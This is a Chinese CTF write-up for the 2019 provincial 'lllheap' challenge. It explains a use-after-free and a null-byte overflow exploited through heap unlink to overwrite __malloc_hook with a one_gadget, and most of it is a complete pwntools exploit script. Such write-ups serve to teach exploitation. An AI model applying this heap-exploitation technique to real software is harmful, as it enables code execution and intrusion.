2019 省赛lllheap unlink解法总结
程序员文章站
2022-03-27 20:42:52
...
在free函数时有个明显的UAF漏洞
但是麻烦的是程序限制了创建的chunk的大小只能是0x100或0x150, 所以无法通过fastbin attack之类的方法来解题
但是可以利用unlink来构造fake chunk的地址为__malloc_hook的地址, 从而写入one_gadget来getshell
具体分析:
如果只存在一个UAF漏洞应该是无法利用unlink解题的(也许还有别的方法, 我太菜了想不出来, 这题还存在一个逻辑漏洞
如果输入chunk的data大小为0x100的话, 那么下一个chunk的prev_size 的低位字节会被置为零, 所以可以在上一个chunk伪造fake_chunk来触发unlink从而改变bss段中的chunk地址为__malloc_hook, 之后写入one_gadget来getshell
EXP:
# --- coding: UTF-8 ---
from pwn import *
import sys
import os
context(arch='amd64', os='linux', terminal=['tmux', 'splitw', '-h'])
#context(arch='i386', os='linux', terminal=['tmux', 'splitw', -h'])
context.log_level='debug'
debug = 1
d = 1
def pwn():
execve = "./lllheap"
if debug == 1:
p = process(execve)
if d == 1:
gdb.attach(p)
else:
#ip = "10.0.%s.140" % sys.argv[1]
ip = "1.1.5.100"
#host = ""
host = 10000
p = remote(ip, host)
def add(size):
p.sendlineafter("choice:", str(1))
p.sendlineafter("size:", str(size))
def show(idx):
p.sendlineafter("choice:", str(2))
p.sendlineafter("index:", str(idx))
def edit(idx, content):
p.sendlineafter("choice:", str(3))
p.sendlineafter("index:", str(idx))
p.sendlineafter("content:", content)
def free(idx):
p.sendlineafter("choice:", str(4))
p.sendlineafter("index:", str(idx))
add(0x100) #0
add(0x100) #1
add(0x100) #2
free(1)
show(1)
libc = ELF("lll_libc.so.6")
leak = u64(p.recvline()[:6].ljust(8, '\x00'))
libc_base = leak - 0x3c4b78
malloc_hook = libc_base + libc.symbols['__malloc_hook']
one_gadget = [libc_base+0x45216, libc_base+0x4526a, libc_base+0xf1147, libc_base+0xf02a4]
print "libc_base -> " + hex(libc_base)
fake_addr = 0x602070
payload = p64(0) + p64(0x101) + p64(fake_addr - 0x18) + p64(fake_addr - 0x10) + 'a'*(0x100 - 32)
edit(1, payload)
#unlink
free(2)
payload = p64(0) + p64(malloc_hook)
edit(1, payload)
edit(0, p64(one_gadget[2]))
add(0x100)
p.interactive()
if __name__ == '__main__':
pwn()
result
上一篇: jsp页面的本质是什么?